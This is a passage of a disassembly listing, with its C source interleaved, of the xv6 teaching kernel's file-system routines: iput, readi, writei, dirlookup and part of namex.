0x0(%esi,%eiz,1),%esi 80101840: 83 c6 04 add $0x4,%esi { int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 80101843: 39 fe cmp %edi,%esi 80101845: 74 19 je 80101860 <iput+0xb0> if(ip->addrs[i]){ 80101847: 8b 16 mov (%esi),%edx 80101849: 85 d2 test %edx,%edx 8010184b: 74 f3 je 80101840 <iput+0x90> bfree(ip->dev, ip->addrs[i]); 8010184d: 8b 03 mov (%ebx),%eax 8010184f: e8 bc f8 ff ff call 80101110 <bfree> ip->addrs[i] = 0; 80101854: c7 06 00 00 00 00 movl $0x0,(%esi) 8010185a: eb e4 jmp 80101840 <iput+0x90> 8010185c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } } if(ip->addrs[NDIRECT]){ 80101860: 8b 83 8c 00 00 00 mov 0x8c(%ebx),%eax 80101866: 8b 7d e4 mov -0x1c(%ebp),%edi 80101869: 85 c0 test %eax,%eax 8010186b: 75 33 jne 801018a0 <iput+0xf0> bfree(ip->dev, ip->addrs[NDIRECT]); ip->addrs[NDIRECT] = 0; } ip->size = 0; iupdate(ip); 8010186d: 83 ec 0c sub $0xc,%esp ip->size = 0; 80101870: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx) iupdate(ip); 80101877: 53 push %ebx 80101878: e8 53 fd ff ff call 801015d0 <iupdate> ip->type = 0; 8010187d: 31 c0 xor %eax,%eax 8010187f: 66 89 43 50 mov %ax,0x50(%ebx) iupdate(ip); 80101883: 89 1c 24 mov %ebx,(%esp) 80101886: e8 45 fd ff ff call 801015d0 <iupdate> ip->valid = 0; 8010188b: c7 43 4c 00 00 00 00 movl $0x0,0x4c(%ebx) 80101892: 83 c4 10 add $0x10,%esp 80101895: e9 3c ff ff ff jmp 801017d6 <iput+0x26> 8010189a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi bp = bread(ip->dev, ip->addrs[NDIRECT]); 801018a0: 83 ec 08 sub $0x8,%esp 801018a3: 50 push %eax 801018a4: ff 33 pushl (%ebx) 801018a6: e8 25 e8 ff ff call 801000d0 <bread> 801018ab: 8d 88 5c 02 00 00 lea 0x25c(%eax),%ecx 801018b1: 89 7d e0 mov %edi,-0x20(%ebp) 801018b4: 89 45 e4 mov %eax,-0x1c(%ebp) a = (uint*)bp->data; 801018b7: 8d 70 5c lea 0x5c(%eax),%esi 801018ba: 83 c4 10 add $0x10,%esp 801018bd: 89 cf mov %ecx,%edi 801018bf: eb 0e jmp 801018cf <iput+0x11f> 801018c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801018c8: 83 c6 04 add $0x4,%esi for(j = 0; j < NINDIRECT; j++){ 801018cb: 39 fe cmp %edi,%esi 801018cd: 74 0f je 801018de <iput+0x12e> if(a[j]) 801018cf: 8b 16 mov (%esi),%edx 801018d1: 85 d2 test %edx,%edx 801018d3: 74 f3 je 801018c8 <iput+0x118> bfree(ip->dev, a[j]); 801018d5: 8b 03 mov (%ebx),%eax 801018d7: e8 34 f8 ff ff call 80101110 <bfree> 801018dc: eb ea jmp 801018c8 <iput+0x118> brelse(bp); 801018de: 83 ec 0c sub $0xc,%esp 801018e1: ff 75 e4 pushl -0x1c(%ebp) 801018e4: 8b 7d e0 mov -0x20(%ebp),%edi 801018e7: e8 f4 e8 ff ff call 801001e0 <brelse> bfree(ip->dev, ip->addrs[NDIRECT]); 801018ec: 8b 93 8c 00 00 00 mov 0x8c(%ebx),%edx 801018f2: 8b 03 mov (%ebx),%eax 801018f4: e8 17 f8 ff ff call 80101110 <bfree> ip->addrs[NDIRECT] = 0; 801018f9: c7 83 8c 00 00 00 00 movl $0x0,0x8c(%ebx) 80101900: 00 00 00 80101903: 83 c4 10 add $0x10,%esp 80101906: e9 62 ff ff ff jmp 8010186d <iput+0xbd> 8010190b: 90 nop 8010190c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101910 <iunlockput>: { 80101910: 55 push %ebp 80101911: 89 e5 mov %esp,%ebp 80101913: 53 push %ebx 80101914: 83 ec 10 sub $0x10,%esp 80101917: 8b 5d 08 mov 0x8(%ebp),%ebx iunlock(ip); 8010191a: 53 push %ebx 8010191b: e8 40 fe ff ff call 80101760 <iunlock> iput(ip); 80101920: 89 5d 08 mov %ebx,0x8(%ebp) 80101923: 83 c4 10 add $0x10,%esp } 80101926: 8b 5d fc mov -0x4(%ebp),%ebx 80101929: c9 leave iput(ip); 8010192a: e9 81 fe ff ff jmp 801017b0 <iput> 8010192f: 90 nop 80101930 <stati>: // Copy stat information from inode. // Caller must hold ip->lock. void stati(struct inode *ip, struct stat *st) { 80101930: 55 push %ebp 80101931: 89 e5 mov %esp,%ebp 80101933: 8b 55 08 mov 0x8(%ebp),%edx 80101936: 8b 45 0c mov 0xc(%ebp),%eax st->dev = ip->dev; 80101939: 8b 0a mov (%edx),%ecx 8010193b: 89 48 04 mov %ecx,0x4(%eax) st->ino = ip->inum; 8010193e: 8b 4a 04 mov 0x4(%edx),%ecx 80101941: 89 48 08 mov %ecx,0x8(%eax) st->type = ip->type; 80101944: 0f b7 4a 50 movzwl 0x50(%edx),%ecx 80101948: 66 89 08 mov %cx,(%eax) st->nlink = ip->nlink; 8010194b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx 8010194f: 66 89 48 0c mov %cx,0xc(%eax) st->size = ip->size; 80101953: 8b 52 58 mov 0x58(%edx),%edx 80101956: 89 50 10 mov %edx,0x10(%eax) } 80101959: 5d pop %ebp 8010195a: c3 ret 8010195b: 90 nop 8010195c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101960 <readi>: //PAGEBREAK! // Read data from inode. // Caller must hold ip->lock. int readi(struct inode *ip, char *dst, uint off, uint n) { 80101960: 55 push %ebp 80101961: 89 e5 mov %esp,%ebp 80101963: 57 push %edi 80101964: 56 push %esi 80101965: 53 push %ebx 80101966: 83 ec 1c sub $0x1c,%esp 80101969: 8b 45 08 mov 0x8(%ebp),%eax 8010196c: 8b 75 0c mov 0xc(%ebp),%esi 8010196f: 8b 7d 14 mov 0x14(%ebp),%edi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101972: 66 83 78 50 03 cmpw $0x3,0x50(%eax) { 80101977: 89 75 e0 mov %esi,-0x20(%ebp) 8010197a: 89 45 d8 mov %eax,-0x28(%ebp) 8010197d: 8b 75 10 mov 0x10(%ebp),%esi 80101980: 89 7d e4 mov %edi,-0x1c(%ebp) if(ip->type == T_DEV){ 80101983: 0f 84 a7 00 00 00 je 80101a30 <readi+0xd0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; return devsw[ip->major].read(ip, dst, n); } if(off > ip->size || off + n < off) 80101989: 8b 45 d8 mov -0x28(%ebp),%eax 8010198c: 8b 40 58 mov 0x58(%eax),%eax 8010198f: 39 c6 cmp %eax,%esi 80101991: 0f 87 ba 00 00 00 ja 80101a51 <readi+0xf1> 80101997: 8b 7d e4 mov -0x1c(%ebp),%edi 8010199a: 89 f9 mov %edi,%ecx 8010199c: 01 f1 add %esi,%ecx 8010199e: 0f 82 ad 00 00 00 jb 80101a51 <readi+0xf1> return -1; if(off + n > ip->size) n = ip->size - off; 801019a4: 89 c2 mov %eax,%edx 801019a6: 29 f2 sub %esi,%edx 801019a8: 39 c8 cmp %ecx,%eax 801019aa: 0f 43 d7 cmovae %edi,%edx for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019ad: 31 ff xor %edi,%edi 801019af: 85 d2 test %edx,%edx n = ip->size - off; 801019b1: 89 55 e4 mov %edx,-0x1c(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019b4: 74 6c je 80101a22 <readi+0xc2> 801019b6: 8d 76 00 lea 0x0(%esi),%esi 801019b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019c0: 8b 5d d8 mov -0x28(%ebp),%ebx 801019c3: 89 f2 mov %esi,%edx 801019c5: c1 ea 09 shr $0x9,%edx 801019c8: 89 d8 mov %ebx,%eax 801019ca: e8 91 f9 ff ff call 80101360 <bmap> 801019cf: 83 ec 08 sub $0x8,%esp 801019d2: 50 push %eax 801019d3: ff 33 pushl (%ebx) 801019d5: e8 f6 e6 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 801019da: 8b 5d e4 mov -0x1c(%ebp),%ebx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019dd: 89 c2 mov %eax,%edx m = min(n - tot, BSIZE - off%BSIZE); 801019df: 89 f0 mov %esi,%eax 801019e1: 25 ff 01 00 00 and $0x1ff,%eax 801019e6: b9 00 02 00 00 mov $0x200,%ecx 801019eb: 83 c4 0c add $0xc,%esp 801019ee: 29 c1 sub %eax,%ecx memmove(dst, bp->data + off%BSIZE, m); 801019f0: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax 801019f4: 89 55 dc mov %edx,-0x24(%ebp) m = min(n - tot, BSIZE - off%BSIZE); 801019f7: 29 fb sub %edi,%ebx 801019f9: 39 d9 cmp %ebx,%ecx 801019fb: 0f 46 d9 cmovbe %ecx,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019fe: 53 push %ebx 801019ff: 50 push %eax for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101a00: 01 df add %ebx,%edi memmove(dst, bp->data + off%BSIZE, m); 80101a02: ff 75 e0 pushl -0x20(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101a05: 01 de add %ebx,%esi memmove(dst, bp->data + off%BSIZE, m); 80101a07: e8 04 2e 00 00 call 80104810 <memmove> brelse(bp); 80101a0c: 8b 55 dc mov -0x24(%ebp),%edx 80101a0f: 89 14 24 mov %edx,(%esp) 80101a12: e8 c9 e7 ff ff call 801001e0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101a17: 01 5d e0 add %ebx,-0x20(%ebp) 80101a1a: 83 c4 10 add $0x10,%esp 80101a1d: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101a20: 77 9e ja 801019c0 <readi+0x60> } return n; 80101a22: 8b 45 e4 mov -0x1c(%ebp),%eax } 80101a25: 8d 65 f4 lea -0xc(%ebp),%esp 80101a28: 5b pop %ebx 80101a29: 5e pop %esi 80101a2a: 5f pop %edi 80101a2b: 5d pop %ebp 80101a2c: c3 ret 80101a2d: 8d 76 00 lea 0x0(%esi),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) 80101a30: 0f bf 40 52 movswl 0x52(%eax),%eax 80101a34: 66 83 f8 09 cmp $0x9,%ax 80101a38: 77 17 ja 80101a51 <readi+0xf1> 80101a3a: 8b 04 c5 60 09 11 80 mov -0x7feef6a0(,%eax,8),%eax 80101a41: 85 c0 test %eax,%eax 80101a43: 74 0c je 80101a51 <readi+0xf1> return devsw[ip->major].read(ip, dst, n); 80101a45: 89 7d 10 mov %edi,0x10(%ebp) } 80101a48: 8d 65 f4 lea -0xc(%ebp),%esp 80101a4b: 5b pop %ebx 80101a4c: 5e pop %esi 80101a4d: 5f pop %edi 80101a4e: 5d pop %ebp return devsw[ip->major].read(ip, dst, n); 80101a4f: ff e0 jmp *%eax return -1; 80101a51: b8 ff ff ff ff mov $0xffffffff,%eax 80101a56: eb cd jmp 80101a25 <readi+0xc5> 80101a58: 90 nop 80101a59: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101a60 <writei>: // PAGEBREAK! // Write data to inode. // Caller must hold ip->lock. int writei(struct inode *ip, char *src, uint off, uint n) { 80101a60: 55 push %ebp 80101a61: 89 e5 mov %esp,%ebp 80101a63: 57 push %edi 80101a64: 56 push %esi 80101a65: 53 push %ebx 80101a66: 83 ec 1c sub $0x1c,%esp 80101a69: 8b 45 08 mov 0x8(%ebp),%eax 80101a6c: 8b 75 0c mov 0xc(%ebp),%esi 80101a6f: 8b 7d 14 mov 0x14(%ebp),%edi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101a72: 66 83 78 50 03 cmpw $0x3,0x50(%eax) { 80101a77: 89 75 dc mov %esi,-0x24(%ebp) 80101a7a: 89 45 d8 mov %eax,-0x28(%ebp) 80101a7d: 8b 75 10 mov 0x10(%ebp),%esi 80101a80: 89 7d e0 mov %edi,-0x20(%ebp) if(ip->type == T_DEV){ 80101a83: 0f 84 b7 00 00 00 je 80101b40 <writei+0xe0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; return devsw[ip->major].write(ip, src, n); } if(off > ip->size || off + n < off) 80101a89: 8b 45 d8 mov -0x28(%ebp),%eax 80101a8c: 39 70 58 cmp %esi,0x58(%eax) 80101a8f: 0f 82 eb 00 00 00 jb 80101b80 <writei+0x120> 80101a95: 8b 7d e0 mov -0x20(%ebp),%edi 80101a98: 31 d2 xor %edx,%edx 80101a9a: 89 f8 mov %edi,%eax 80101a9c: 01 f0 add %esi,%eax 80101a9e: 0f 92 c2 setb %dl return -1; if(off + n > MAXFILE*BSIZE) 80101aa1: 3d 00 18 01 00 cmp $0x11800,%eax 80101aa6: 0f 87 d4 00 00 00 ja 80101b80 <writei+0x120> 80101aac: 85 d2 test %edx,%edx 80101aae: 0f 85 cc 00 00 00 jne 80101b80 <writei+0x120> return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101ab4: 85 ff test %edi,%edi 80101ab6: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 80101abd: 74 72 je 80101b31 <writei+0xd1> 80101abf: 90 nop bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ac0: 8b 7d d8 mov -0x28(%ebp),%edi 80101ac3: 89 f2 mov %esi,%edx 80101ac5: c1 ea 09 shr $0x9,%edx 80101ac8: 89 f8 mov %edi,%eax 80101aca: e8 91 f8 ff ff call 80101360 <bmap> 80101acf: 83 ec 08 sub $0x8,%esp 80101ad2: 50 push %eax 80101ad3: ff 37 pushl (%edi) 80101ad5: e8 f6 e5 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 80101ada: 8b 5d e0 mov -0x20(%ebp),%ebx 80101add: 2b 5d e4 sub -0x1c(%ebp),%ebx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ae0: 89 c7 mov %eax,%edi m = min(n - tot, BSIZE - off%BSIZE); 80101ae2: 89 f0 mov %esi,%eax 80101ae4: b9 00 02 00 00 mov $0x200,%ecx 80101ae9: 83 c4 0c add $0xc,%esp 80101aec: 25 ff 01 00 00 and $0x1ff,%eax 80101af1: 29 c1 sub %eax,%ecx memmove(bp->data + off%BSIZE, src, m); 80101af3: 8d 44 07 5c lea 0x5c(%edi,%eax,1),%eax m = min(n - tot, BSIZE - off%BSIZE); 80101af7: 39 d9 cmp %ebx,%ecx 80101af9: 0f 46 d9 cmovbe %ecx,%ebx memmove(bp->data + off%BSIZE, src, m); 80101afc: 53 push %ebx 80101afd: ff 75 dc pushl -0x24(%ebp) for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101b00: 01 de add %ebx,%esi memmove(bp->data + off%BSIZE, src, m); 80101b02: 50 push %eax 80101b03: e8 08 2d 00 00 call 80104810 <memmove> log_write(bp); 80101b08: 89 3c 24 mov %edi,(%esp) 80101b0b: e8 60 12 00 00 call 80102d70 <log_write> brelse(bp); 80101b10: 89 3c 24 mov %edi,(%esp) 80101b13: e8 c8 e6 ff ff call 801001e0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101b18: 01 5d e4 add %ebx,-0x1c(%ebp) 80101b1b: 01 5d dc add %ebx,-0x24(%ebp) 80101b1e: 83 c4 10 add $0x10,%esp 80101b21: 8b 45 e4 mov -0x1c(%ebp),%eax 80101b24: 39 45 e0 cmp %eax,-0x20(%ebp) 80101b27: 77 97 ja 80101ac0 <writei+0x60> } if(n > 0 && off > ip->size){ 80101b29: 8b 45 d8 mov -0x28(%ebp),%eax 80101b2c: 3b 70 58 cmp 0x58(%eax),%esi 80101b2f: 77 37 ja 80101b68 <writei+0x108> ip->size = off; iupdate(ip); } return n; 80101b31: 8b 45 e0 mov -0x20(%ebp),%eax } 80101b34: 8d 65 f4 lea -0xc(%ebp),%esp 80101b37: 5b pop %ebx 80101b38: 5e pop %esi 80101b39: 5f pop %edi 80101b3a: 5d pop %ebp 80101b3b: c3 ret 80101b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) 80101b40: 0f bf 40 52 movswl 0x52(%eax),%eax 80101b44: 66 83 f8 09 cmp $0x9,%ax 80101b48: 77 36 ja 80101b80 <writei+0x120> 80101b4a: 8b 04 c5 64 09 11 80 mov -0x7feef69c(,%eax,8),%eax 80101b51: 85 c0 test %eax,%eax 80101b53: 74 2b je 80101b80 <writei+0x120> return devsw[ip->major].write(ip, src, n); 80101b55: 89 7d 10 mov %edi,0x10(%ebp) } 80101b58: 8d 65 f4 lea -0xc(%ebp),%esp 80101b5b: 5b pop %ebx 80101b5c: 5e pop %esi 80101b5d: 5f pop %edi 80101b5e: 5d pop %ebp return devsw[ip->major].write(ip, src, n); 80101b5f: ff e0 jmp *%eax 80101b61: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi ip->size = off; 80101b68: 8b 45 d8 mov -0x28(%ebp),%eax iupdate(ip); 80101b6b: 83 ec 0c sub $0xc,%esp ip->size = off; 80101b6e: 89 70 58 mov %esi,0x58(%eax) iupdate(ip); 80101b71: 50 push %eax 80101b72: e8 59 fa ff ff call 801015d0 <iupdate> 80101b77: 83 c4 10 add $0x10,%esp 80101b7a: eb b5 jmp 80101b31 <writei+0xd1> 80101b7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80101b80: b8 ff ff ff ff mov $0xffffffff,%eax 80101b85: eb ad jmp 80101b34 <writei+0xd4> 80101b87: 89 f6 mov %esi,%esi 80101b89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101b90 <namecmp>: //PAGEBREAK! // Directories int namecmp(const char *s, const char *t) { 80101b90: 55 push %ebp 80101b91: 89 e5 mov %esp,%ebp 80101b93: 83 ec 0c sub $0xc,%esp return strncmp(s, t, DIRSIZ); 80101b96: 6a 0e push $0xe 80101b98: ff 75 0c pushl 0xc(%ebp) 80101b9b: ff 75 08 pushl 0x8(%ebp) 80101b9e: e8 dd 2c 00 00 call 80104880 <strncmp> } 80101ba3: c9 leave 80101ba4: c3 ret 80101ba5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101bb0 <dirlookup>: // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) { 80101bb0: 55 push %ebp 80101bb1: 89 e5 mov %esp,%ebp 80101bb3: 57 push %edi 80101bb4: 56 push %esi 80101bb5: 53 push %ebx 80101bb6: 83 ec 1c sub $0x1c,%esp 80101bb9: 8b 5d 08 mov 0x8(%ebp),%ebx uint off, inum; struct dirent de; if(dp->type != T_DIR) 80101bbc: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80101bc1: 0f 85 85 00 00 00 jne 80101c4c <dirlookup+0x9c> panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ 80101bc7: 8b 53 58 mov 0x58(%ebx),%edx 80101bca: 31 ff xor %edi,%edi 80101bcc: 8d 75 d8 lea -0x28(%ebp),%esi 80101bcf: 85 d2 test %edx,%edx 80101bd1: 74 3e je 80101c11 <dirlookup+0x61> 80101bd3: 90 nop 80101bd4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101bd8: 6a 10 push $0x10 80101bda: 57 push %edi 80101bdb: 56 push %esi 80101bdc: 53 push %ebx 80101bdd: e8 7e fd ff ff call 80101960 <readi> 80101be2: 83 c4 10 add $0x10,%esp 80101be5: 83 f8 10 cmp $0x10,%eax 80101be8: 75 55 jne 80101c3f <dirlookup+0x8f> panic("dirlookup read"); if(de.inum == 0) 80101bea: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101bef: 74 18 je 80101c09 <dirlookup+0x59> return strncmp(s, t, DIRSIZ); 80101bf1: 8d 45 da lea -0x26(%ebp),%eax 80101bf4: 83 ec 04 sub $0x4,%esp 80101bf7: 6a 0e push $0xe 80101bf9: 50 push %eax 80101bfa: ff 75 0c pushl 0xc(%ebp) 80101bfd: e8 7e 2c 00 00 call 80104880 <strncmp> continue; if(namecmp(name, de.name) == 0){ 80101c02: 83 c4 10 add $0x10,%esp 80101c05: 85 c0 test %eax,%eax 80101c07: 74 17 je 80101c20 <dirlookup+0x70> for(off = 0; off < dp->size; off += sizeof(de)){ 80101c09: 83 c7 10 add $0x10,%edi 80101c0c: 3b 7b 58 cmp 0x58(%ebx),%edi 80101c0f: 72 c7 jb 80101bd8 <dirlookup+0x28> return iget(dp->dev, inum); } } return 0; } 80101c11: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80101c14: 31 c0 xor %eax,%eax } 80101c16: 5b pop %ebx 80101c17: 5e pop %esi 80101c18: 5f pop %edi 80101c19: 5d pop %ebp 80101c1a: c3 ret 80101c1b: 90 nop 80101c1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(poff) 80101c20: 8b 45 10 mov 0x10(%ebp),%eax 80101c23: 85 c0 test %eax,%eax 80101c25: 74 05 je 80101c2c <dirlookup+0x7c> *poff = off; 80101c27: 8b 45 10 mov 0x10(%ebp),%eax 80101c2a: 89 38 mov %edi,(%eax) inum = de.inum; 80101c2c: 0f b7 55 d8 movzwl -0x28(%ebp),%edx return iget(dp->dev, inum); 80101c30: 8b 03 mov (%ebx),%eax 80101c32: e8 59 f6 ff ff call 80101290 <iget> } 80101c37: 8d 65 f4 lea -0xc(%ebp),%esp 80101c3a: 5b pop %ebx 80101c3b: 5e pop %esi 80101c3c: 5f pop %edi 80101c3d: 5d pop %ebp 80101c3e: c3 ret panic("dirlookup read"); 80101c3f: 83 ec 0c sub $0xc,%esp 80101c42: 68 39 73 10 80 push $0x80107339 80101c47: e8 44 e7 ff ff call 80100390 <panic> panic("dirlookup not DIR"); 80101c4c: 83 ec 0c sub $0xc,%esp 80101c4f: 68 27 73 10 80 push $0x80107327 80101c54: e8 37 e7 ff ff call 80100390 <panic> 80101c59: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101c60 <namex>: // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80101c60: 55 push %ebp 80101c61: 89 e5 mov %esp,%ebp 80101c63: 57 push %edi 80101c64: 56 push %esi 80101c65: 53 push %ebx 80101c66: 89 cf mov %ecx,%edi 80101c68: 89 c3 mov %eax,%ebx 80101c6a: 83 ec 1c sub $0x1c,%esp struct inode *ip, *next; if(*path == '/') 80101c6d: 80 38 2f cmpb $0x2f,(%eax) { 80101c70: 89 55 e0 mov %edx,-0x20(%ebp) if(*path == '/') 80101c73: 0f 84 67 01 00 00 je 80101de0 <namex+0x180> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); 80101c79: e8 82 1b 00 00 call 80103800 <myproc> acquire(&icache.lock); 80101c7e: 83 ec 0c sub $0xc,%esp ip = idup(myproc()->cwd); 80101c81: 8b 70 68 mov 0x68(%eax),%esi acquire(&icache.lock); 80101c84: 68 e0 09 11 80 push $0x801109e0 80101c89: e8 c2 29 00 00 call 80104650 <acquire> ip->ref++; 80101c8e: 83 46 08 01 addl $0x1,0x8(%esi) release(&icache.lock); 80101c92: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101c99: e8 72 2a 00 00 call 80104710 <release> 80101c9e: 83 c4 10 add $0x10,%esp 80101ca1: eb 08 jmp 80101cab <namex+0x4b> 80101ca3: 90 nop 80101ca4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi path++; 80101ca8: 83 c3 01 add $0x1,%ebx while(*path == '/') 80101cab: 0f b6 03 movzbl (%ebx),%eax 80101cae: 3c 2f cmp $0x2f,%al 80101cb0: 74 f6 je 80101ca8 <namex+0x48> if(*path == 0) 80101cb2: 84 c0 test %al,%al 80101cb4: 0f 84 ee 00 00 00 je 80101da8 <namex+0x148> while(*path != '/' && *path != 0) 80101cba: 0f b6 03 movzbl (%ebx),%eax 80101cbd: 3c 2f cmp $0x2f,%al 80101cbf: 0f 84 b3 00 00 00 je 80101d78 <namex+0x118> 80101cc5: 84 c0 test %al,%al 80101cc7: 89 da mov %ebx,%edx 80101cc9: 75 09 jne 80101cd4 <namex+0x74> 80101ccb: e9 a8 00 00 00 jmp 80101d78 <namex+0x118> 80101cd0: 84 c0 test %al,%al 80101cd2: 74 0a je 80101cde <namex+0x7e> path++; 80101cd4: 83 c2 01 add $0x1,%edx while(*path != '/' && *path != 0) 80101cd7: 0f b6 02 movzbl (%edx),%eax 80101cda: 3c 2f cmp $0x2f,%al 80101cdc: 75 f2 jne 80101cd0 <namex+0x70> 80101cde: 89 d1 mov %edx,%ecx 80101ce0: 29 d9 sub %ebx,%ecx if(len >= DIRSIZ) 80101ce2: 83 f9 0d cmp $0xd,%ecx 80101ce5: 0f 8e 91 00 00 00 jle 80101d7c <namex+0x11c> memmove(name, s, DIRSIZ); 80101ceb: 83 ec 04 sub $0x4,%esp 80101cee: 89 55 e4 mov %edx,-0x1c(%ebp) 80101cf1: 6a 0e push $0xe 80101cf3: 53 push %ebx 80101cf4: 57 push %edi 80101cf5: e8 16 2b 00 00 call 80104810 <memmove> path++; 80101cfa: 8b 55 e4 mov -0x1c(%ebp),%edx memmove(name, s, DIRSIZ); 80101cfd: 83 c4 10 add $0x10,%esp path++; 80101d00: 89 d3 mov %edx,%ebx while(*path == '/') 80101d02: 80 3a 2f cmpb $0x2f,(%edx) 80101d05: 75 11 jne 80101d18 <namex+0xb8> 80101d07: 89 f6 mov %esi,%esi 80101d09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi path++; 80101d10: 83 c3 01 add $0x1,%ebx while(*path == '/') 80101d13: 80 3b 2f cmpb $0x2f,(%ebx) 80101d16: 74 f8 je 80101d10 <namex+0xb0> while((path = skipelem(path, name)) != 0){ ilock(ip); 80101d18: 83 ec 0c sub $0xc,%esp 80101d1b: 56 push %esi 80101d1c: e8 5f f9 ff ff call 80101680 <ilock> if(ip->type != T_DIR){ 80101d21: 83 c4 10 add $0x10,%esp 80101d24: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80101d29: 0f 85 91 00 00 00 jne 80101dc0 <namex+0x160> iunlockput(ip); return 0; } if(nameiparent && *path == '\0'){ 80101d2f: 8b 55 e0 mov -0x20(%ebp),%edx 80101d32: 85 d2 test %edx,%edx 80101d34: 74 09 je 80101d3f <namex+0xdf> 80101d36: 80 3b 00 cmpb $0x0,(%ebx) 80101d39: 0f 84 b7 00 00 00 je 80101df6 <namex+0x196> // Stop one level early. iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ 80101d3f: 83 ec 04 sub $0x4,%esp 80101d42: 6a 00 push $0x0 80101d44: 57 push %edi 80101d45: 56 push %esi 80101d46: e8 65 fe ff ff call 80101bb0 <dirlookup> 80101d4b: 83 c4 10 add $0x10,%esp 80101d4e: 85 c0 test %eax,%eax 80101d50: 74 6e je 80101dc0 <namex+0x160> iunlock(ip); 80101d52: 83 ec 0c sub $0xc,%esp 80101d55: 89 45 e4 mov %eax,-0x1c(%ebp) 80101d58: 56 push %esi 80101d59: e8 02 fa ff ff call 80101760 <iunlock> iput(ip); 80101d5e: 89 34 24 mov %esi,(%esp) 80101d61: e8 4a fa ff ff call 801017b0 <iput> 80101d66: 8b 45 e4 mov -0x1c(%ebp),%eax 80101d69: 83 c4 10 add $0x10,%esp 80101d6c: 89 c6 mov %eax,%esi 80101d6e: e9 38 ff ff ff jmp 80101cab <namex+0x4b> 80101d73: 90 nop 80101d74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(*path != '/' && *path != 0) 80101d78: 89 da mov %ebx,%edx 80101d7a: 31 c9 xor %ecx,%ecx memmove(name, s, len); 80101d7c: 83 ec 04 sub $0x4,%esp 80101d7f: 89 55 dc mov %edx,-0x24(%ebp) 80101d82: 89 4d e4 mov %ecx,-0x1c(%ebp) 80101d85: 51 push %ecx 80101d86: 53 push %ebx 80101d87: 57 push %edi 80101d88: e8 83 2a 00 00 call 80104810 <memmove> name[len] = 0; 80101d8d: 8b 4d e4 mov -0x1c(%ebp),%ecx 80101d90: 8b 55 dc mov -0x24(%ebp),%edx 80101d93: 83 c4 10 add $0x10,%esp 80101d96: c6 04 0f 00 movb $0x0,(%edi,%ecx,1) 80101d9a: 89 d3 mov %edx,%ebx 80101d9c: e9 61 ff ff ff jmp 80101d02 <namex+0xa2> 80101da1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; } iunlockput(ip); ip = next; } if(nameiparent){ 80101da8: 8b 45 e0 mov -0x20(%ebp),%eax 80101dab: 85 c0 test %eax,%eax 80101dad: 75 5d jne 80101e0c <namex+0x1ac> iput(ip); return 0; } return ip; } 80101daf: 8d 65 f4 lea -0xc(%ebp),%esp 80101db2: 89 f0 mov %esi,%eax 80101db4: 5b pop %ebx 80101db5: 5e pop %esi 80101db6: 5f pop %edi 80101db7: 5d pop %ebp 80101db8: c3 ret 80101db9: 